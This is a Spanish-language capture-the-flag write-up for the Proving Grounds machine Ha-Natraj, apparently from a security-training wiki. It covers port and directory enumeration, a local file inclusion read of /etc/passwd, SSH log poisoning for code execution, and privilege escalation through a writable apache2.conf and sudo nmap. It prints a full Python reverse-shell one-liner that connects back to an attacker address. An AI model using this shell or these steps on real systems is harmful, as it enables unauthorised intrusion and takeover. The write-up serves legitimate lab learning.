📚
Securiters Wiki
  • 👋Índice
  • 🐣Conceptos Básicos
  • 🔍OSINT
    • Empresas
    • Personas
    • SOCMINT
    • URLs / IPs
  • 🕸️Web
    • 1. Recolección de información
    • 2. Enumeración y descubrimiento
    • 3. Configuración del servidor
    • 4. Entrada de datos
    • 5. Fuerza bruta
    • 6. Autenticación y autorización
    • 7. LFI/RFI
    • 🧞‍♂️CMS
  • 🐢APIs
  • ☎️Móviles
    • 👾Android
    • Analisis Estatico Android
    • Analisis Dinamico Android
    • 📱iOS
    • Jailbreak
    • Analisis Estatico iOS
    • Analisis Dinamico iOS
  • 🎯Internas
    • 🐧Linux
    • 🏹AD
      • Enumeracion
      • Mimikatz & PassTheHash
      • Local Privilege Escalation
      • PE - AS-REPRoast
      • PE - DNSAdmin
      • PE - Kerberoast
      • PE - Trusts
      • PE - Delegations
      • Persistencia - ACLs
      • Persistencia - Kerberos & Tickets
  • 📶Wifi
    • WEP
    • WPS
    • Redes PSK
    • Redes MGT
    • Redes ocultas
  • ⚔️Pentesting / Red team
    • Windows
      • Enumeración
      • Elevación de Privilegios
    • Linux
      • Enumeración
      • Elevación de Privilegios
    • Shells
  • 🛡️Blue Team
  • 📡Puertos & Servicios
    • 21 - FTP
    • 22 - SSH
    • 23 - Telnet
    • 25 - SMTP
    • 53 - DNS
    • 79 - Finger
    • 80 - HTTP
    • 88 - Kerberos
    • 110 - POP3
    • 111 - RPC
    • 123 - NTP (UDP)
    • 135 - MSRPC
    • 139 - Netbios-ssn
    • 143 - IMAP
    • 161/162 - SNMP
    • 389 - LDAP
    • 443 - HTTPS
    • 445 - SMB
    • 464 - kpasswd5
    • 500 - IPSec/IKE VPN
    • 587 - SMPT STARTTLS
    • 623 - IPMI
    • 631 - CUPS
    • 636 - LDAP
    • 1433/1434 - MS SQL Server
    • 1521 - OracleDB
    • 1720 - VoIP - SIP
    • 1900 - UPnP
    • 2049 - NFS
    • 3306 - MySQL
    • 3389 - RDP
    • 4500 - IPSec (UDP)
    • 5357 - WSDAPI
    • 6379 - Redis
    • 6697 - IRC
    • 8009 - Apache Jserv
    • 8080 - HTTP Alt
    • 8500 - Adobe Coldfusion
    • 10000 - Webmin
    • 49981 - System Management Hub
    • 50000 - SAP
  • 🎣Phishing
  • 🐛Bug Bounty
  • ☁️Cloud
    • AWS
    • Azure
  • 🪲Malware
  • 👻Forense
  • 🛠️Tools & Scripts
    • BloodHound
    • Burp Suite
    • Enum4linux
    • Frida
    • Apps Móviles
      • ADB
      • Objection
    • Wireshark
    • Transferencia de ficheros
    • Libros de hacking
    • Addons
    • 🐧WSL
  • ⛳Practicar
  • 🧙‍♂️Certificaciones
    • Repaso CRTP
    • Repaso OSCP
      • 1. Enumeración
      • 2. Vector de entrada
      • 3. Obtención de credenciales
      • 4. Spraying
      • 5. Movimiento lateral
      • 6. Siguientes pasos
  • 📜Recursos en Telegram
  • 🔊Congresos de ciberseguridad
  • 🗣️Entrevistas realizadas
  • 🎤Charlas y Eventos
  • 👣WRITE-UPS
    • 📗Hack The Box
      • 🟢Return
      • 🟢Love
      • 🟢GoodGames
      • 🟢ToolBox
      • 🟢Traverxec
      • 🟢Granny
      • 🟢Jerry
      • 🟢Networked
      • 🟢Arctic
      • 🟢Mirai
      • 🟢Bashed
      • 🟢TwoMillion
      • 🟠Chaos
      • 🟢Validation
      • 🟢Antique
      • 🟢Busqueda
    • 📗Proving Grounds
      • 🟢MoneyBox
      • 🟢Gaara
      • 🟢InfoSec Prep
      • 🟢DC-1
      • 🟢SunsetNoontide
      • 🟢Shakabrah
      • 🟢Ha-Natraj
      • 🟢Monitoring
      • 🟢DriftingBlues6
      • 🟢PyExp
      • 🟢OnSystemShellDredd
      • 🟢Blogger
      • 🟢Dawn
      • 🟢DC-2
      • 🟢FunboxEasy
      • 🟢Sumo
      • 🟢Inclusiveness
      • 🟢FunboxEasyEnum
      • 🟢Potato
      • 🟢Solstice
      • 🟢SunsetDecoy
      • 🟢Lampiao
      • 🟢Vegeta1
      • 🟢Katana
      • 🟢BBSCute
      • 🟢Sar
      • 🟢EvilBox-One
      • 🟢Seppuku
      • 🟢Funbox Rookie
      • 🟢Photographer
      • 🟢CyberSploit1
      • 🟢Amaterasu
      • 🟠Pwned1
      • 🟠My-CMSMS
      • 🟠ICMP
      • 🟠DC-9
      • 🟠SunsetMidnight
      • 🟠Election1
      • 🟠DC-4
      • 🟠Stapler
      • 🟠BTRSys2.1
      • 🟠Assertion101
      • 🟠Loly
      • 🟠SoSimple
      • 🟠Tre
      • 🟠Funbox
      • 🟠NoName
      • 🔴GlasgowSmile
      • 🔴InsanityHosting
      • 🔴Djinn3
      • 🟠CTF SunsetMidnight
Powered by GitBook
On this page
  • Enumeración
  • Explotación
  • Escalada de privilegios

Was this helpful?

  1. WRITE-UPS
  2. Proving Grounds

Ha-Natraj

Write-up de la máquina Ha-Natraj de Proving Grounds #writeup #walkthrough

PreviousShakabrahNextMonitoring

Last updated 2 years ago

Was this helpful?

Enumeración

NMAP

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.

nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.87.80

Están abiertos los puertos 22 y 80. A continuación, realizamos un escaneo más riguroso de estos puertos abiertos.

nmap -p22,80 -sVC -vv 192.168.87.80 -oN targeted

Existen 2 puertos abiertos en el equipo target.

  • Puerto 22 -> SSH -> OpenSSH 7.6

  • Puerto 80 -> HTTP -> Apache httpd 2.4.29

Enumeración Web

Comenzamos visitando el servicio Web, donde hemos encontrado imagenes e información sobre el Natraj, vamos a comprobar el código fuente y el archivo robots.txt, donde no hay nada útil.

Vamos a continuar realizando una enumeración de directorios con la herramienta dirsearch.

dirsearch -u "http://192.168.87.80" -i200,301 -r

Hemos encontrado un directorio llamado /console que contiene un archivo llamado file.php.

Si lo ejecutamos, no hace nada. Probablemente tengamos que añadir algo más.

Vamos a utilizar el nombre de archivo en una variable "GET" para intentar hacer una prueba de concepto que nos permita verificar si el sitio era vulnerable a la inclusión de archivos locales (LFI).

curl http://192.168.87.80/console/file.php?file=/etc/passwd  

Encontramos los nombres de usuario natraj y mahakal.

Es vulnerable a LFI.

Explotación

Probamos varias opciones de enumeración, entre ellas la enumeración de archivos a los que podemos acceder. Para ello, vamos a utilizar la herramienta Intruder de Burp. Después de unos instantes, obtenemos un resultado que puede ser interesante. Podemos acceder al archiv /var/log/auth.log

Sabiendo esto, vamos a intentar realizar un ataque de envenenamiento de logs a través de SSH. El envenenamiento de logs es una técnica que podemos utilizar para obtener un shell inverso en un servidor.

Para realizar este ataque comenzamos enviando código malicioso PHP a través del uso de SSH para que este sea registrado en el archivo auth.log.

Comprobamos si la inyección maliciosa ha sido exitosa.

Ya podemos ejecutar comandos en la máquina objetivo (RCE).

Vamos a ejecutar una shell inversa en la máquina objetivo y a colocar un oyente con netcat en el puerto 80.

La shell utilizada es la siguiente:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.90",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Si utilizamos Burp, debemos codificar la shell como URL para que funcione. Si utilizamos el navegador para enviar la shell, se puede colocar directamente.

Hacemos la terminal genera más interactiva de la siguiente manera:

python3 -c 'import pty;pty.spawn("/bin/bash");'

Ya tenemos acceso a la máquina objetivo. Comprobamos si podemos ejecutar sudo y enumeramos los binarios SUID.

sudo -l

Podemos ejecutar comandos relacionados con el servidor Apache.

Vamos a buscar binarios con el flag SUID activo que podaos utilizar para elevar privilegios.

find / -perm -4000 2>/dev/null

No hay nada interesante. Vamos a buscar todos los archivos de escritura en el directorio.

Encontramos un archivo interesante, apache2.conf, que tiene permiso completo de lectura y escritura para cualquier usuario y grupo.

Escalada de privilegios

Para escalar privilegios a otros usuarios cambiando el nombre de usuario y grupo de apache2.conf. El primer paso será agregar el nombre de usuario y nombre de grupo. Para ello descargamos el fichero en nuestra máquina de ataque.

Creamos un servidor HTTP con Python en la máquina víctima.

Y en la máquina de ataque ejecutamos.

Ahora realizamos en este archivo las modificaciones comentadas anteriormente.

Ahora para volver a subir el archivo a la máquina objetivo volvemos a levantar un servidor HTTP con Python pero ahora el servidor lo levantamos en la máquina de ataque. El archivo debemos colocarlo en el directorio /tmp y desde aquí lo copiamos a /etc/apache2/.

Una vez hemos transferido el archivo apache2.conf, procedemos a reiniciar el servidor Apache.

Después de un instante que necesita el servicio para reiniciar, volvemos a lanzar la shell inversa en el puerto 80 de la misma forma que lo hicimos anteriormente. Y volvemos a tener conexión con el objetivo.

Ahora tenemos conexión en el objetivo como usuario "mahakal". Volvemos a realizar distintas enumeraciones para ver como podemos elevar privilegios.

Solo queda buscar ambas flags para completar el CTF Ha: Natraj.

El usuario "mahakal" puede ejecutar el comando nmap como usuario root. Vamos a determinar si podemos utilziar esto para escalar a usuario "root". Para ello, consultamos

👣
📗
🟢
"GTFOBins"
sudo -l
Servidor en la máquina de ataque
Enviando el archivo apache2.conf modificado al objetivo
Flag proof.txt (root)
Flag local.txt (usuario bajos privilegios)